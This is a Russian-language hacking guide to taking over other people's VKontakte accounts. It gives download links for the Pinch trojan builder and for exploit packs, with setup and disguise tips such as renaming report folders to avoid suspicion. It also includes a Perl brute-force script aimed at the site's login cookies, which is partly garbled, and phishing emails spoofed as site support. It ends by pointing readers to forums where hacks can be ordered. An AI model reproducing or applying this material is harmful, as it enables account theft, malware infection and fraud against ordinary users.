В данной статье, попытаюсь рассказать о возможных способах взлома анкет "ВКонтакте". Итак, что же нам потребуется:  Умение настраивать пинч (если это у вас уже получилось, то остальные 2 требования можно не смотреть)  Прямые руки и хотя бы капелька мозга!  1 Способ - Взлом мыла:  Если мы его знаем то уже все проще, ведь имеется как минимум 15 методов взлома почты. Но есть и один минус, если пароль "корявый", он разумеется надежный, но с его восстановлением проблемы, когда такой высылают на почту, то он принимает "левый" вид, и соответственно не работает. Не в этом суть, поэтому останавливаться не будем.  2 Способ - Фейк:  Достаточно простой способ, кидаем ссылку жертве любым способом(ася, через лс и тд), скачать его можно по этой ссылке.  3 Способ - Троян:  Этот способ мы разберём по пунктам:  а) Скинуть "чистый" файл, либо ссылку на загрузку трояна, но тут еще надо чтобы пользователь его запустил. http://slil.ru/25774480 - здесь лежит билдер пинча, а здесь парсер http://slil.ru/25774491 , если вы захотите чтобы отчеты шли на гейт - вот подходящий от Генома - http://slil.ru/25774495  б) Кейлогер - менее полезный, но если жертва его "словит", и вы покопаетесь (причем очень долго) с отчетом, то пароль получите 100%  в) Сплоит, тут ничего сложного нету, НО ЕСТЬ МИНУС! Паблик сплоиты пробивают в основном, примерно, 6/10.  Советую армитаж (айс пак тоже в теме). Прост в настройке, нужно только создать базу мускуль(делается в пару кликов), и отредактировать файлы (db.php config.php), после того как зальете на хост, выставляем нужные права, на папку load - 777. config.php - 777  Скачать 3 связки можно по ссылке http://slil.ru/25776403 - здесь лежат мпак, айспак и армитаж  Когда будите настраивать пинч, устанавите права на гейт 775, на папку в которую будут идти отчеты - 777, и не забывайте что не надо называть папку с отчетами OtchetyOTpincha, имхо палевно, лучше назовите 404 или еще как, ну чтобы внимания не привлекало. Папку в которой будет лежать сплоит, тоже переиминуйте на что-нибудь типа myphotos и тд. т.к. люди будут эту ссылку себе в браузер пихать, не нужно что бы там было написанно EXPLOIT - лишнее палево ни к чему.  Идем дальше...  Надеюсь, пинч уже настроен на гейт или почту, желательно что бы он еще и закриптованный был.  Заходим по ссылке на файл install.php нашего сплоита, а потом идем в админку, устанавливаем настройки, выбераем файл который будет грузится жертве, теперь он будет лежать в папке load под именем file.  Кидаем ссылку жертве, и ждем с надеждой на то, что ее пробьет и отчет с заветным паролем придет к нам.  4 Способ - Брутфорс:  Брутфорс, как всем известно - перебор паролей. Способ долгий, и не всегда сработает (нп-р в случае пароля D5&%-AefV)  Для этого брутфорсера нам потребуется активперл скачать мона тут http://download.softportal.com/softw…ctiveperl.html либо по ссылке http://www.denwer.ru/packages/perl.html Code #!/usr/bin/perl  use IO::Socket;  use MD5;  use threads;  use threads::shared;  my @pass : shared;  open (pass, "create(&Brut, $_);}  for(@trl) { $_->join; }  sub Brut  {  while (@pass){  $pass = shift @pass;  $md5 = MD5->hexhash($pass);  $sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPor t=>80);  print $sock "HEAD http://vkontakte.ru/ HTTP/1.0rn”.  "Host: vkontakte.rurn”.  "Accept: */*rn”.  "Content-Type: application/x-www-form-urlencodedrn”.  "User-Agent: Mozillorn”.  "C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn”.  "Connection: closernrn”;  $answ = ;  close $sock;  print "$pass $answ”;  if ($answ =~ /302/){  open (good, ‘>>good.txt’);  print good "$id:$pass:$md5n”;  print "$id:$pass:$md5n”;  close good;  exit;}  }  }  goto Next;  sub pass  {  my (@mas);  while (){  push @mas, $_;  last if (@mas == 400);  }  chomp @mas;  return @mas;  } Не забудьте сменить разширение на brut.pl  $dic = ‘passl.txt’; #паслист для брдутфорсера  $id = 1; #айдишник цели(его можно взять из адресной строки когда вы зашли на страницу жертвы)  $mail = ‘мыло’; #мыло, значек @ меняем на %40  $threads = Х; # где Х - количество потоков  Если вам лень копаться со всем этим, то есть неплохой брут на С. Скачать его можно по ссылке http://slil.ru/25774498, сразу говорю, если не запускается - это ваши проблемы, ибо все прекрасно работает!  5 Способ  Самый надежный способ, открываем исходник нашего фейка, закидываем в него наш код ******  Теперь, когда жертва перейдет на нашу ссылку, мы увеличиваем вероятность того, что юзера пробьет, либо через браузер, либо через тупость, т.к. теперь у нас на ссылке комбинированная атака на мозг (фейк) и браузер (код ******).  6 Способ:  Довольно известный, здесь нужно поискать сайты на которых сидит жертва (форумы, почта и пр) и попытаться похекать что-то из вышеперечисленного, авось найдем старый заброшенный пароль, а он подойдет.  7 Способ:  Как обычно СИ, пробуем отправить письмо от адресата durov@vkontakte.ru или support@vkontakte.ru с текстом типа, ваша страница на сайте vkontakte.ru будет заблокированна через N дней, если вы не подтвердите какую-нить хрень, методом отправки нам пароля.  Или, можно прислать письмо типа, вам пришло личное сообщение/открытка и т.п., от такого-то пользователя, чтобы ее прочитать перейдите по ссылке, а ссылка будет вести на наш фейк.  Чтобы отправить письмо с "левого" адреса, нужен какой-нить майлер, например, этот http://softnic.ru/soft/programm_4223.html, либо любой подходящий для вас из гугла.  Только не забудьте зарегить себе не привлекающее мыло, похожее на суппортское, и вписать его в поле копия. (чтобы пароли пришли именно вам на почту).  Снифер, тут лучше отправлять его на почту (если мы знаем мыло), тогда без лишних проблем сможем перехватить сессию, и с помощью системы восстановления пароля на сайте вконтакте получить письмо с паролем.  http://forum.antichat.ru/showthread.php?p=457280  Есть сниферы и получше, но они платные, все же тема распространена, в гуле можно ввсести запрос на php снифер и найти много полезной инфы.  8 Способ - ХSS:  Паблик дырок на этом сайте нету, так что кража кукисов маловероятна, хотя если очень долго подождать, то можно и дождаться паблик уязвимости - но  такой подход к делу бредовый, поэтому останавливаться на нем не будем.  9 Способ - Самый простой:  Единственное что от вас требуется - уметь работать с платежными системами и иметь деньги. Просто закажите взлом если вам не помог ни один из вышеперечисленных пунктов, может найдется умелец который сломает неприступную жертву. Поискать такогого можно здесь - http://www.hackzone.ru/forum/list/fid/23/ или здесь http://www.hackzone.ru/forum/list/fid/4/  Но перед тем как задать вопрос воспользуйтесь полезными ссылками:  google.ru  http://www.poiskinfo.net/stat/st1.php  http://segfault.kiev.ua/smart-questions-ru.html  http://penguin.kurgan.ru/doc/Perl/perlfaq1.htm  Ну и на последок - googleforidiots.com  На этом все, надеюсь вам не было скучно при чтении этой статьи.